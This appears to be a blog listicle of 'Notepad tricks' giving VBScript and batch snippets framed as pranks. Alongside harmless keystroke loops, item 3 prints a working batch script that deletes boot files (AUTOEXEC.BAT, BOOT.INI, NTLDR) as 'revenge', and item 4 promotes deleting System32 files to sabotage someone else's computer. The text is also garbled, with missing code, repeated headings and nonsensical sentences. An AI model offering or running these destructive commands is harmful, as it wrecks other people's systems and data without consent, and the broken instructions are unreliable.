40+ Notepad Tricks To Do | Interesting Cool Notepad Tricks

Notepad is one of the easiest tools Microsoft provides with every version of Windows. This is a common extended tool that can be used to create quick notes that can be mentioned anytime later. The file format that this tool saves is .txt, which means this text file can be read by every available text editor. Be it Quick Office, Microsoft Office, or any other office tool you can use easily.

The reason behind Notepad texts being so popular is that the files it creates can be opened, read, and edited from anywhere and are very easy. You have almost no formatting options. It was only used to quickly disassemble notes or by programmers who use them to store files with different extensions to finish their work.




A Case Study:

Notepad is a very useful tool. The old version of notepad which usually provided by the operating system doesn’t have all the features. The new version of notepad has numerous features, which will make your work super fast & easy and sometimes makes it funny. I personally use these tools and that’s why sharing awesome tricks with you.

1. Type something frequently

40+ Notepad Tricks To Do | Interesting Cool Notepad Tricks

To type a word over and over again for whatever reason, simply copy the code below to your Notepad file and save it as a .vbs file. This method eliminates the need to write something over and over again.

Code:
• Set wshShell = wscript.CreateObject(“Wscript.shell”)
• do
• wscript.sleep 100
• wshshell.sendkeys *Your message here*
• loop

2. Click Enter continuously




Like previous strategies we have discussed above, this technique has no practical application. You can use it to annoy your friends because you have to press the enter button without even reaching their keyboard.

Code :
• Set wshShell = wscript.CreateObject(“WScript.Shell”)
• do
• wscript.sleep 100
• wshshell.sendkeys “~(enter)”
• loop

3. Completely delete some system files

Another way to get revenge on someone is to delete system files by starting a computer file. Practice this strategy with your discretion as it will probably not be taken as a joke. Once you execute this file, it will shut down the computer and delete all the files needed to reboot. Just keep this information to yourself and don’t try it on your computer or anyone else’s computer unless you have a reason to.



Code :
• @ECHO OFF
• ATTRIB -R -S -H C:\AUTOEXEC.BAT
• DEL C:\AUTOEXEC.BAT
• ATTRIB -R -S -H C:\BOOT.INI
• DEL C:\BOOT.INI
• ATTRIB -R -S -H C:\NTLDR
• DEL C:\NTLDR

4. Delete System32 files from hard drive

Although disclosing this type of information can cause more harm than good, it can be effective if you want to sabotage someone else’s computer or get rid of the infected system 32 files from your own PC. These files are absolutely necessary to boot up and manage the computer, so don’t use it as a prank because your friend will probably never talk to you again.

You can, however, test it on your own computer as a test. This is a simple method of pasting the following code into your Notepad file and then saving it as a .bat file.

5. Erase texts automatically

Want to annoy your friends by increasing the type anyway? Then there’s an easy way to do this by typing a simple line of code into your Notepad file. Ask your friends to type anything in the Notepad interface that opens after opening this .vbs file and nurtures the look of their face buffet.

Code :
• Open Notepad
• Go to ‘Files’, click on ‘Page setup’
